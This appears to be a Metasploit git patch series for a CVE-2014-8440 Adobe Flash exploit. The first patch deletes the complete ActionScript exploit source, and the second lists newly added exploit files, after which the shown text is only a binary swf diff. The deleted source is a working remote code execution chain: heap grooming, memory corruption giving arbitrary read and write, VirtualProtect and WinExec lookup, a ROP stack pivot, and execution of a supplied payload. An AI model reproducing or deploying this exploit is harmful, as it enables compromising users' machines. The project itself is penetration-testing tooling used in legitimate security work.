From f4649cb3fbb735342fa67cb1b0d2b4bfbfb0314b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 14:50:59 -0500 Subject: [PATCH 1/4] Delete old AS --- external/source/exploits/CVE-2014-8440/Msf.as | 505 ------------------ 1 file changed, 505 deletions(-) delete mode 100755 external/source/exploits/CVE-2014-8440/Msf.as diff --git a/external/source/exploits/CVE-2014-8440/Msf.as b/external/source/exploits/CVE-2014-8440/Msf.as deleted file mode 100755 index 4497389619..0000000000 --- a/external/source/exploits/CVE-2014-8440/Msf.as +++ /dev/null @@ -1,505 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Download the Flex SDK (4.6) -// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 4. Build with: mxmlc -o msf.swf Main.as - -// It uses original code from @hdarwin89 for exploitation using ba's and vectors - -package -{ - import flash.utils.* - import flash.display.* - import flash.system.* - import mx.utils.Base64Decoder - - public final class Msf extends Sprite { - - private var shared_ba:ByteArray = null - - private var hole_ba:ByteArray = null; - private var confuse_length_ba:ByteArray = null; - private var fake_ba:ByteArray = null; - private var worker:Worker = null; - - private var byte_array_vector:Vector. = null; - private var byte_array_vector_length:int; - - private var object_vector:Vector. = null; - private var object_vector_length:uint; - - private var ba:ByteArray - private var uv:Vector. - private var corrupted_uv_index:uint = 0 - private var stack:Vector. = new Vector.(0x6400) - private var payload_space:Vector. = new Vector.(0x6400) - - private var b64:Base64Decoder = new Base64Decoder(); - private var payload:String = "" - - public function Msf() { - this.object_vector_length = 5770 * 2 - this.byte_array_vector_length = 510 * 2 - - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() - - this.initialize_worker_and_ba() - if (!this.trigger()) - { - return - } - - var index:uint = search_uint_vector(114, 0x40000000) - if (index == 0xffffffff) { - return - } - - this.uv = this.object_vector[this.corrupted_uv_index] - - // Use the corrupted Vector to search saved addresses - var object_vector_pos:uint = search_object_vector() - var byte_array_object:uint = this.uv[object_vector_pos] - 1 - var main:uint = this.uv[object_vector_pos + 2] - 1 - var stack_object:uint = this.uv[object_vector_pos + 3] - 1 - var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1 - - // Locate the corrupted Vector in memory - // It allows arbitrary address memory read/write - var ba_address:uint = search_ba_address() - if (ba_address == 0xffffffff) { - return - } - var uv_address:uint = ba_address + index - this.uv[0] = uv_address - - // Use the corrupted Vector to disclose arbitrary memory - var buffer_object:uint = vector_read(byte_array_object + 0x40) - var buffer:uint = vector_read(buffer_object + 8) - var stack_address:uint = vector_read(stack_object + 0x18) - var payload_address:uint = vector_read(payload_space_object + 0x18) - var vtable:uint = vector_read(main) - - // Set the new ByteArray length - ba.endian = "littleEndian" - ba.length = 0x500000 - - // Overwite the ByteArray data pointer and capacity - var ba_array:uint = buffer_object + 8 - var ba_capacity:uint = buffer_object + 16 - vector_write(ba_array) - vector_write(ba_capacity, 0xffffffff) - - // restoring the corrupted vector length since we don't need it - // anymore - this.uv[0] = 0xfeedbabe - //index = search_uint_vector(0xffffffff, 114) - index = search_uint_vector(0x40000000, 114) - if (index == 0xffffffff) { - return - } - - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - // Continuation of execution - byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - byte_write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x10) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x8) // Writable address (4 bytes) - - // WinExec - byte_write(0, buffer + 0x10) - byte_write(0, payload_address + 8) - byte_write(0) - - byte_write(main, stack_address + 0x18000) // overwrite with fake vtable - - toString() // call method in the fake vtable - } - - final private function initialize_worker_and_ba():Boolean{ - this.ba = new ByteArray() - this.ba.endian = "littleEndian" - this.ba.length = 1024 - this.ba.writeUnsignedInt(0xdeedbeef) - this.ba.position = 0 - - this.shared_ba = new ByteArray() - this.shared_ba.shareable = true - this.shared_ba.endian = Endian.LITTLE_ENDIAN - this.shared_ba.writeUnsignedInt(252536) - this.shared_ba.writeUnsignedInt(16777216) - - this.confuse_length_ba = new ByteArray() - this.confuse_length_ba.length = 0x2000 - this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN - this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA) - - this.fake_ba = new ByteArray(); - this.fake_ba.endian = Endian.LITTLE_ENDIAN; - - this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes); - return true; - } - - final private function trigger():Boolean{ - // Memory massaging - // 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba) - this.fill_byte_array_vector(); - // 2. Clear the marked ByteArray - this.hole_ba.clear(); - - // The shared_ba should be left in "shared" state - this.worker.setSharedProperty("fnfre", this.shared_ba) - this.worker.setSharedProperty("vfhrth", this.confuse_length_ba) - this.worker.setSharedProperty("vfhrth", this.shared_ba) - - // fake_ba *data* is going to fill the space freed from the hole - this.fake_ba.length = 0x2000; - this.fill_byte_array(this.fake_ba, 0xBBBBBBBB); - - // Trigger the vulnerability, if the memory layout is good enough - // the (freed) hole_ba metadata will end being the shared_ba metadata... - this.shared_ba.uncompress() - - // So its size should be 0x2000 - if (this.shared_ba.length != 0x2000) - { - return false - } - - // Free the fake_ba and make holes on the ByteArray's - // allocated on massaging. - this.free_fake_and_make_holes() - - // Fill the holes and the fake_ba data space with - // vectors - this.fill_with_vectors() - - // Hopefully the shared_ba metadata, product of the vulnerability - // at this moment point to the vectors in memory =) it means - // game over. - var pwn_test:uint; - this.shared_ba.position = 0; - pwn_test = this.shared_ba.readUnsignedInt(); - - if (pwn_test == 0xBBBBBBBB) - { - return false - } - - return true; - } - - final private function fill_byte_array(local_ba:ByteArray, value:int):void{ - var i:int; - local_ba.position = 0; - i = 0; - while (i < (local_ba.length / 4)) - { - local_ba.writeInt(value); - i++; - }; - local_ba.position = 0; - } - - final private function fill_byte_array_vector():void{ - var i:int; - var local_ba:ByteArray; - this.byte_array_vector = new Vector.(this.byte_array_vector_length) - - i = 0; - - while (i < this.byte_array_vector_length) - { - local_ba = new ByteArray(); - this.byte_array_vector[i] = local_ba; - local_ba.endian = Endian.LITTLE_ENDIAN; - i++; - } - - var hole_index:int = this.byte_array_vector_length * 4 / 5; - if (hole_index % 2 == 0) - { - hole_index++; - } - - for(i = 0; i < this.byte_array_vector_length; i++) - { - local_ba = this.byte_array_vector[i] as ByteArray - local_ba.length = 0x2000 - this.fill_byte_array(local_ba, 0xCCCCCCCC) - local_ba.writeInt(0xbabefac0) - local_ba.writeInt(0xbabefac1) - local_ba.writeInt(i) - local_ba.writeInt(0xbabefac3) - if (i == hole_index) - { - this.hole_ba = local_ba; - } - } - - return; - } - - final private function free_fake_and_make_holes():void { - var i:int - var clear_ba:ByteArray - var hole_index:int = this.byte_array_vector_length * 4 / 5 - - if (hole_index % 2 == 0) - { - hole_index++; - } - - for (i = 0; i < this.byte_array_vector_length; i++) - { - if (i == hole_index) { - this.fake_ba.clear(); - } else { - if (i % 2 == 1) - { - clear_ba = this.byte_array_vector[i] as ByteArray - this.fill_byte_array(clear_ba, 0xDDDDDDDD) - clear_ba.clear() - } - } - } - return - } - - final private function fill_with_vectors():void { - var i:uint; - var uint_vector:Vector.; - var objects:Vector.; - this.object_vector = new Vector.(this.object_vector_length); - - i = 0 - while (i < this.object_vector_length) - { - if (i % 2 == 0) { - this.object_vector[i] = new Vector.() - } else { - this.object_vector[i] = new Vector.() - } - i++ - } - - i = 0 - while (i < this.object_vector_length) - { - if (i % 2 == 0) { - uint_vector = this.object_vector[i] as Vector. - uint_vector.length = 114 - uint_vector[0] = 0xfeedbabe - uint_vector[1] = i - uint_vector[2] = 0xbabeface - } else { - objects = this.object_vector[i] as Vector. - objects.length = 114 - objects[0] = this.ba - objects[1] = i - objects[2] = this - objects[3] = this.stack - objects[4] = this.payload_space - } - i++ - } - } - - // Use the corrupted shared_ba to search and corrupt the uint vector - // Returns the offset to the *length* of the corrupted vector - private function search_uint_vector(old_length:uint, new_length:uint):uint { - this.shared_ba.position = 0 - var i:uint = 0 - var length:uint = 0 - var atom:uint = 0 - var mark_one:uint = 0 - var index:uint = 0 - var mark_two:uint = 0 - while (i < 0x2000) { - length = shared_ba.readUnsignedInt() - if (length == old_length) { - atom = shared_ba.readUnsignedInt() - mark_one = shared_ba.readUnsignedInt() - index = shared_ba.readUnsignedInt() - mark_two = shared_ba.readUnsignedInt() - if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) { - shared_ba.position = i - shared_ba.writeUnsignedInt(new_length) - this.corrupted_uv_index = index - return i; - } - i = i + 16 - } - i = i + 4 - } - return 0xffffffff - } - - // Use the corrupted shared_ba to disclose its own address - private function search_ba_address():uint { - var address:uint = 0 - this.shared_ba.position = 0x14 - address = shared_ba.readUnsignedInt() - if (address == 0) { - address = 0xffffffff - this.shared_ba.position = 8 - var next:uint = shared_ba.readUnsignedInt() - var prior:uint = shared_ba.readUnsignedInt() - if (next - prior == 0x8000) { - address = prior + 0x4000 - } - } else { - address = address - 0x30 - } - - return address - } - - // Use the corrupted uint vector to search an vector with - // interesting objects for info leaking - private function search_object_vector():uint { - var i:uint = 0; - while (i < 0x4000){ - if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) { - return i + 1; - } - i++ - } - return 0xffffffff - } - - // Methods to use the corrupted uint vector - - private function vector_write(addr:uint, value:uint = 0):void - { - var pos:uint = 0 - - if (addr > this.uv[0]) { - pos = ((addr - this.uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 - } - - this.uv[pos] = value - } - - private function vector_read(addr:uint):uint - { - var pos:uint = 0 - - if (addr > this.uv[0]) { - pos = ((addr - this.uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 - } - - return this.uv[pos] - } - - // Methods to use the corrupted byte array for arbitrary reading/writing - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - // Methods to search the memory with the corrupted byte array - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) - var i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); - if (dll_name == name.toUpperCase()) { - break; - } - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} From cf8c6b510b1c80c18186be685df2f9b4feafb0ff Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 15:46:21 -0500 Subject: [PATCH 2/4] Debug version working --- data/exploits/CVE-2014-8440/msf.swf | Bin 18612 -> 21802 bytes external/source/exploits/CVE-2014-8440/Elf.as | 235 ++++++++++ .../source/exploits/CVE-2014-8440/Exploit.as | 421 ++++++++++++++++++ .../CVE-2014-8440/ExploitByteArray.as | 85 ++++ .../exploits/CVE-2014-8440/ExploitVector.as | 74 +++ .../exploits/CVE-2014-8440/Exploiter.as | 403 +++++++++++++++++ .../source/exploits/CVE-2014-8440/Logger.as | 32 ++ external/source/exploits/CVE-2014-8440/PE.as | 72 +++ ...obe_flash_uncompress_zlib_uninitialized.rb | 19 +- 9 files changed, 1333 insertions(+), 8 deletions(-) create mode 100755 external/source/exploits/CVE-2014-8440/Elf.as create mode 100755 external/source/exploits/CVE-2014-8440/Exploit.as create mode 100755 external/source/exploits/CVE-2014-8440/ExploitByteArray.as create mode 100755 external/source/exploits/CVE-2014-8440/ExploitVector.as create mode 100755 external/source/exploits/CVE-2014-8440/Exploiter.as create mode 100755 external/source/exploits/CVE-2014-8440/Logger.as create mode 100755 external/source/exploits/CVE-2014-8440/PE.as diff --git a/data/exploits/CVE-2014-8440/msf.swf b/data/exploits/CVE-2014-8440/msf.swf index c6e47d226d51239e078fece012f402ad019ec62f..a677624095bb658d2f57c442ae2f83125c20c94a 100755 GIT binary patch delta 21691 zcmV(zK<2-+kpZfz0Sa1IQyiw-000?Pu?i#se-%OOESc20+{Qa<7*uwE&Eg!;)K0@m zG7T!0@6;%uw+SULLHFW^0qaQ5vR44WaY(Rvn+_OThIh1){m3^zQ=`SsB8qk@z`J6M z>rO1}x_e!Xn*7^^pWs&4A%?W4AIh$UK1oJ3@mL8&Qh9$sKieXex8|v9;<2Z!C958O zf3Fkx2826io;*k%z&3m|CC^)JZWWm!2kZNc(1_;fQVceWmH?|(#;mL9Qx6tlzD+bO zs2yEp7J}7Ljz4WU4S$w9oy z4enSvF$4^w@Ve+I@y5>bn-2LcWNSI#Q;n*AigIE{|g6@G)Z zO6^VoRF%`TM8&Ym6b*nw`-)73s&HVG)k<1>%gg6>=ZY~h&>oy&Q$3F|PKg6CnZvW> zN1Z8lW~kT~N44rA3&+4iUaI?S95EwTXIuX{iZr{|B!d>0p83Xe?Bs( z17tUYZyx=2_%P5cjQkc{(ew%FxGt;idnY5#2|n@>wQ%${9CNM(DjtEqv;;WPTpV~T z&g&kQUeyfNg7#MS;}3f~*}ivBe1}j4_gzx4>k~pFlx>!{L?!Brf(5>KUgkAfa>_49 z;V8Px(c2iB@x}Kw!eHdwr3b;nf05HphWRBx{I@EW{q5LL>>r>G2E?zNNcu0Lx5qsKXt!kOIe zYa_o*y(Xb3SHR!Vv3xOd0mLlYN5XojM;L=FYar6@?>PA}bR$Y~fEDQCYAV-+J7Zi$ zZct7652~M|QWyXudoC9(yLeO!7W^1fyN#n$f`vRgNX7HYPBJ=PfAXYGSXj!z{CC&? zEoL?aiukv=!*c(gn;d5X?uxz_m9}z!bs)-;PvOCQ{AJ}R)Ddrwq}qHw&5WsIOhg39NMD6P6zM!MGDIX13V%J2!fqH+$)9&L&jY+>x2sIr8s)3Dy8_w z$373!<0`&j=-!FyfBvB1=C~pw)cjK{rkM&u)RENd%WzJ<3e2U*m7kePq3Y(eIB8?v z4v!C@evBJobumF^IIyc70;s2|_TW~}?+EJL3BI1zi;p-j(Zl;QoxGx5XdN%>z+SNN z(t6C_jjj|mrxmcL*h;F);uk|2MoWXJBqFu~i5NEe7k4F^fAu+)EAagFj?N)A@@v>6 z^OoiA8f$hy!HCwp(ZQm!sB@W3v`#fk#U%mfe7VShThEjNyx785=38Xx+TpyppdRqr zfLH+mKBgkbuLE@M$dAhM6x%!$qeY)z%dOld*BPY}-CXBAQlYR6|Tn0eQ{;7oV! zoe>D^rR@6E&(E%&FycD^AuA=BX1NUq)+itoOzAa0iDVdE7U6R2b|V35y>>+`zu-+K zCtrj{e+yoBO8WLCrhTb+*cW%#hdEnnppo0~v=V92C*AyOIPgW+eng?s0TE(8E_}z} z`;O}5HFn$^4E}GM#qo5_tYG|>GDqCHcNa0KiZoqmRx3Le5Qu&CTcoDtFYz1sKW@ogOZb(6VILVD; zBuW^k;;sCX`5 z0bsf4w}8@^Fe=*%*pq~Tj%phbV4$!RXSKhC*k2e24QuFf3={bqo0amH`S3N&?nTdh ze@`y7MlRxmiC1j@oZpz&Z>p(5;q6W`!p-ziP8$=$Q}z{%%VPate(Y+Jguju@6TcgL zh@IaQKtqFPys%ah=4%-sC#iV4)I_^2SF4tDXN&+^J0yhs`4@ zlD6FQY3q$QZd2Y^?Fo4h8X$bubIUR1e~8)dyN4JMJ1+mm^CM$;_UUU@O`^kmk~O+I zizyT>YbvNVxRC?EwljWk$gKVyaj|{yM5WUR)Xr~$*R+BO&+dxb>HgJ7O;?zImj!2& z5QlZ|(8xMZwbV1;q-n>xsV{P9=`Gz2&I{)fa`wqZy*NsMYf{@BhsrG5vC$!&f2I3N zorh34v8<_2Ol-q5VKoBODZw#ReBVAHk({pAK_M5I`h5RPfq}AovX7wse@siPo0rSb z-?48m^PlTLo>fhtqUgGU70e9K{x5YS{&OE319hd@#c~{w%Dt9caIuG-RB@nS4cOh_ z5{?x^DoYbvxnP3GRfS(W2thPa%{w{ zeh!!u%i>bn0T~7jB8l7~Ae7{#e8KTOWrU<+Vh*3tG$Pavo%7OG)au$`#H_)iEQczUMu}~C&c}BtF`}?lX;f~VkcU6= zZsUx5Yx`!Q#5V&7Cg9;uf5`58v1sa-jaXu#T=u6VQ^n>4Zn-2@CbUUSe$ zpCcQ1`6PovdSd(3F<5BpPvnW>VP;Z}Y!81wP?NN%>{c#LC8+%7baf5lERy*A$VSzE z{M1M4n`kUEGIPNF@%+>ls?|XMkun%;VVY0(-STi`$7833w-3$9e+w*)UNb!`}fJ)AijHfwf~$%iI4trh51 zN;YCy2G%eZ9_qcJ&1F9A4B8&pau7gACKE}E_X2ej^mp_nO1YqgCrWu*5L^9lQP9&ljL#rc^bN7O#nCnTjUyETOUdOLMbOi#&Ze!)vix! z4^38ee?@K0->m1E#r{MMR}{+KfhwafHLiiN-YpsmPo%5+vQWoAXvtRFFf%ephv+eLff zZ?bSS-)lQ)(TmY^9Z}+pg1<7RoBG!rijeObk7ztUeM0i}vw#|FgKSXFQ~%Om@( zqE{<$jIIc_0WO$7ALbAw^-lMc8riwNLLfa*E@ca0^FP~Kv+k;1D$-HHKw2sA6asN@ z13=0we_>&FO8C00Sy%=&mdu8{Ni0{Z0(_uUW5Mzo?O-|*X9#NE3c-&_j?}1^`iu zWj)jm$s;gVe`hd#`A}p=GaxK1up|9NLdhAC>Vk*^$-AAVM}4PoUP8cocp9zzdpM#s zN07V!J*>xgMq>cN-A9F1L7JyN0_C!SCXHQJr;>>!0Gj-6nN_`CTk%oTQqF=<%UjL7 ze=s1>5!vYi8ue?2p^6#s@N->L2Ztal)xL+A*(f&E4t|%^2ce-BncidrA|q%mdQd)CfE;$F4YL&+*lvO4ta z*I-O30;pfM-7;(?9DR$y_y*yuv#=cUXO5ORXaYyLAmrE%Z93;R1gO`if8|*mfhy$8 zFiz6j)Ojcq&C*fgb8_mK9>su&mzeSF!NPZ0<0W>&E>2c`jdhHK#(V@{@@5nse_)}) zuC++X--QhEK4T5#QR|jFbg(^(9{A%A(DQ^O=k-mF`-qGRlU=*bPJLy4qf4c7ui@IR!YxwBS=x&n(pnNWc+$_kHA@@NCEg+jV^5Bxv<;e?F;EY6fxx z9;iF#PzlPQXHw=@gg#>@0Q+5o0)T2FSc|o+X@s$)JhlW z7>?6(2#r5S{Yi4o>MqWHe|-OWF8j+-=uN<3e&Ly8YsG!-!W%&%bq2n~8!(gR>X^b! zhi9mp5S%x>9Gd~Lv~4$2-?@pbAlC&A={z9wI^R z*WYcS&_M$0kYU5kchHV=Gx!k8+(g|_svTon)sQ$o*j7kuBZsbwe-~cLwR7`R4Z`+Y z%zOv>FfQIyWnHK-3dVoejouGzR)uN2EX9rZ5GpyWCM#E&oNq?;@#;r*+-z{2v8YYF z=5G)8!az#07%DPAGN}FKTDlKK#i01A+d^G=RR*0}U(tc$3(fSJd^NBs2rs9@k?4wF z!ojX@Zxpp5(2zpsfACC-%Poae$jvOQ${{om*Hb>L&`^MT?a(;&ieMgyA1B-lKI|gr zo(CcdkZ#kGG~6*MB`3q)EvNMwZsAcZdZhw7Vduo!Q{W|kcvBi$)d*Jc);8=~<#;=- zu%lp5v_}il&)+G}8<7VUwQ`9IlV6n?c8Ys99rrs=R)PF^fBL&Zn2vx-CiBqM=p zqL@aZW8xmTReX04ho~R&K(H1TIIVDo`l2g+o*>N{HUg+TeK5KKK`^7ct0};VrD);U zhAg6Mln-T=e>c&y1@V9F^0q`0Lf?q_K0IksG!L`ey09(kL-TAz^w6tRZ&~$fol@W% zSMl6vYT59)eo>G+gd9x#8Ii_jpl;#%?QU*+S=xJn2hR^F`#novupc8rVFcM=D>I3L z*2S`wa!7n;B{=kGZg83)yU=Op3>RseaCd?>bR0=5e`0q0O>-P!Q%_w^(R1p-N#vRA zay4xQkqGLNv}6fXgV)2w-ilz|zEUZ~RuyD$08i0=$=WgZ;7=7$8)yzW$k4^cYkRM# zYRkjYdn;7nAVI6PCHLN(JJS!v)64%Ekm?pDPFUU7JmnS7Yk9&Sy0i;&3Y#xy9p$DJ zcqKlje#mUMkv0y0otAA&wg3YPxjJ`Hc5ARm{{Qou7YRVV)M%5ST zrqS>S`;)AkoIAg8Yzb})gr!b4sT}m@Xw9jE+Z6f7qM#EdIx!S2LsbZK2d%t2w(H@L0@xJteWKT!6Rg&}cd zf0TxoIPTl8tI*CUyBkwDZ)~3_N$sVfx`zL(oY4G&fG{pg(~gJqN`2!jR93kFkO zeleM7bwCje4#EWfH$94@B={--GKVCu0aj))+}TztTcOH`h>Hv)q5 zV9^BVgCsXJA8aCoT~R~y)A)L z1+vp^PxH79WPdt2{u3)_ST+~Mm2l0H;ZMULz;ATCJsCNig}D<6g}pn4Y2u~2WOHM; z-ZP{&Z4?*Ronf^gKg0|%gFcYJ`mcfZ&Yn(+PO@eq*mfbzC2rL7!o!Z1x-+%MPOUq-kZ7vO11*}XFcIS6 zP<}R*1cZ+AqVY^kF+dfMFwgIN+)zYpd1c5t3QM(Rr#^u{D!&@ni9sr$%jB>hB$XPq zKz=1ArLfdiczR1)86Ot(h#u({e~f1}os)ULb;s{Abw7ou?Xoth>O4nth3bEbxOW|; z6me2e=NFE2)NHG z=dVN}b2c8_Ox*VQit{E;9yQxCTDQjm?S5I$P>5HG;jl7f$^ZIm7&CwLsvRVp%avHY z#OO(o6c*7^Ede$nvr1Nj9V41{1(rW86vwXmUvaDLIa*)|OSUpg_*iLpNS0?|QNos+ zNFeDtSn}gn^gp3#=;#`efB8U=DxFuUZ~z_x-h|_C_+CDFP{W)x7$^OFrH#g&MlS#!zHyJ;L2wIKwS@m<+<(C?h2NYJ8PY;`x1D?L+)hi2eGC)t zu&L5>cK3RzRh7&QCSqvwUKcME~fYDKiK@q=LIItzlgQH zs4IM@J#YKp`=+y}Be~XeDGXEKPiiB^w3&MTe*Wq22y3d8e)(cx#I!)+BSyXh;P?~e z@J`;?2f>(oiNRz7&K^l|d_8{9+b9`2H*p;ut6i`Bl6os$e=X(afSZ-uh!yC-pRXvs zkSc-f$?SmC_5aMGA7k|NBDc|2u4@#@kxbNB4mKiOm&!;JVu12BgP7k`08zk+ZGyNY zYgWlq)9>0^49{agGycM!M8$o^c})K0e!;3ve_BP0QtjA@U`< z0g5_(rj7W3e-i~~!rP7_mmX#^2X5A1A37zYlNt0$Y1u!J=t-fa+b%6tzKL$4vHnc+ zRoQFW5n+Rj`Q+H6dhvZK_dUhU_hSVl!?!HZT@ea`axHmk{cx3wG@VfVeast?(Zp$y^n^9&wk9f)j+a=Sn^?{pOHKo|~{43m`^??|zpX=j%F zw@^{p^@;P8L2})lL^aH)2qy+UZQM2+j|}xLI2`aSpuqo63{hpBHAEZp5WuEmps|tv zKIF393irow#)OqC5h#968#6af5a$2FaNUs-e>9q~;B((cwm33Te%z|88O;06p)jpD zTgTFlyy$5VRg5hC+59H$cctzWQ(zFXtWBtDR;<>6tIBl8h{c5+;qi-KW&r#Qn33Hi z&Ty678{jUZFhHwVdW!>>t>Q+a1&N?T*KKjoI|6#0m(bW+vQTRc7s80)iW{}tN@Jcu zf5W?E6yFe1eNk}kPiepw*>LOeiR?&r=L?w!SV-;$ujr8NaY1@R^{Kfd62UYnV6$?L zy6FfCtf|g_GG_1GV^V_ECXT?I#l={21^6kYrJwtW3>~)etratpw5;FS2o^f$DazPN zf(vu1!T?lq(ZVW0)aOto@SHziBDh?ae+wCdxQ;uFQ29M$+_pLxS;bQLquwl_DzNn} zqVurPhMYyEe$ILpp`br*WU?U+^A}@Q#2_SCDtYxKeOKAn8_-ZRL+jkg&L?~RftB8{ zzhF{tgkE5!npK-Y(+wPgjdn+Atcw<~2)hW+SvKYY-$$4mOxM866FnFlLfDdrHvhRXd|7y##4Nz0f;(IsdD$4GD)UN= z-v4}#!HQA#1NaDr3=Svfzy^9NGVfbvLK(&Lqt_R_$4TR=WyR%*se*_yrg-=NMQ>3M zm3r=6PwbSYVT=6J`k*Lx-cAH^g%9K{&x5!GFRN1+WKhwC{}RcSS5W*se~_{#w*|e1 zm8A+!)cheNcGjtq1&Nhr#%GRi33?mYnHn`y-mrp_`D~7oJ4ZZTFtz5bc+EfN2-SFDvHeg2S;U zlMH5ED;+nYC(6gB@l)C=q;=QEtocX>bkHrWT`q%;Rc;e+&y0nF&wUoed!q?sldQ`tfm z%?Hs{gCXRB28$(024_dB(Y9;tR>z9EwqzLlnhi14E`(yu!t`njYF9_=d4^MnUh6W7 zJ!2{bwnsI9e{)K$;!ulAOL2~epZd>3o5H!h)>r4vWqh!}+E<5>tOk|qR5!T(mBUVH z{;aiP>zH9lbfrhQ_&Uy=F=rRI%d2M&3Bz_9{C}rNeHWyn<^?`)aLh7`G>D`R5rJl2 z&q8+EJg+mhf0~0}!%fOneGa!N$W7}~Qr+a7TT_Zie~|Y)bCKeB?TuG>g2y&g*BBa_ znDj@&Bm4SI_bdZQ^=nqN>@K?2o5Pv&1V=Dsu}%i22yPId7Cj7pU>~y03*N_I#Zcw5 zT}@c$ksZL)a`k^mIPrFzebM$!&wM(BxJNDI7PQ6772r?Z(*MxZL71Dl+^Vu}q^P)W zp12Xjf0aY@8``-27+@|9>7DIL@Drt(mqztOYnpHH=(Npaug;=*o|W~#pcK{_8Rq0T z6Z}!j;IfrCYc)ChbRugl!S^bF3qG&XxN(~Yn5VG6EW1~upAVEQvTymFD-L#-Q`-bE%en7R}cP2!$DEHT0~f1)0JmQneiU9EASs!@SC&q%gj2g!}p zM00n~akpyWA`1GCEpeF++P2VRws|`1OH)BTzjNfJrM`XIbW#pYGm@46+3%NV=>OWs zOBLqVmX}W%ea$0tr7xZ4okXQ5=MD=l*uyBs~SD)4!P~RnzyOQWVUe`HGwBb4` zCRWy#QOg$sp%Z+hg!k5@mAG1hxRB_({c6iPnf z4dr`v(v#k>rhCyNw8mr*_eqBKe>z?I=TfDG9w?~^J})}rgdjAtkPJZdTKJTIF=`D& z*=}1Hho;a5odS&yJR`1&%t&&fohvJ7xf|y5G@pDF+hNef54;3gF6J* znk_8!7pL5TC$1?Pj^B8*9>@cSZTGWTdGgNz@&p$bi9z7Xa}OUKE?zPLxS~T6nm|ie zi?rxcn&eP(1pjodv>VsW@fGjb&1oAjfBm4$U7{q%$du&UFb}e^?q7R)KY)PX+5k zJ}fn*!trjQ{vENt(x)7<;9e~N3pogw)zBhukeY^4Q|s{NoIY0sE)l**019#k7Jo#8 zF2sH`dz!D!2V97v45>reqe0szg#Je!E5Tm;Zf4y%Q_zPd{`Qqn5a|8wqxLkrO|L$P zPnWe|B35v%3iZ_#f3BBq_P@^RL;nK4G(@SML* zO40$GvoFfuOa9|gh)dm|h66EBV122==PTZ#+^mET&AzF8djOzk^C`Oxa}=b4&~SY@ zom?NM_* zR8_Jk6qLF%60C|H+EOL4=$yk)3MzW~=9N6Qi-nPKGOt=cF8v)}5Dv==PemC5H+yFs zT}F*wLAiZV5PCu3Wp)GQjJHwk2eyYj<2e*fE0lBVe?>%CF8Fj!;9yL;5$g+aK{}ms 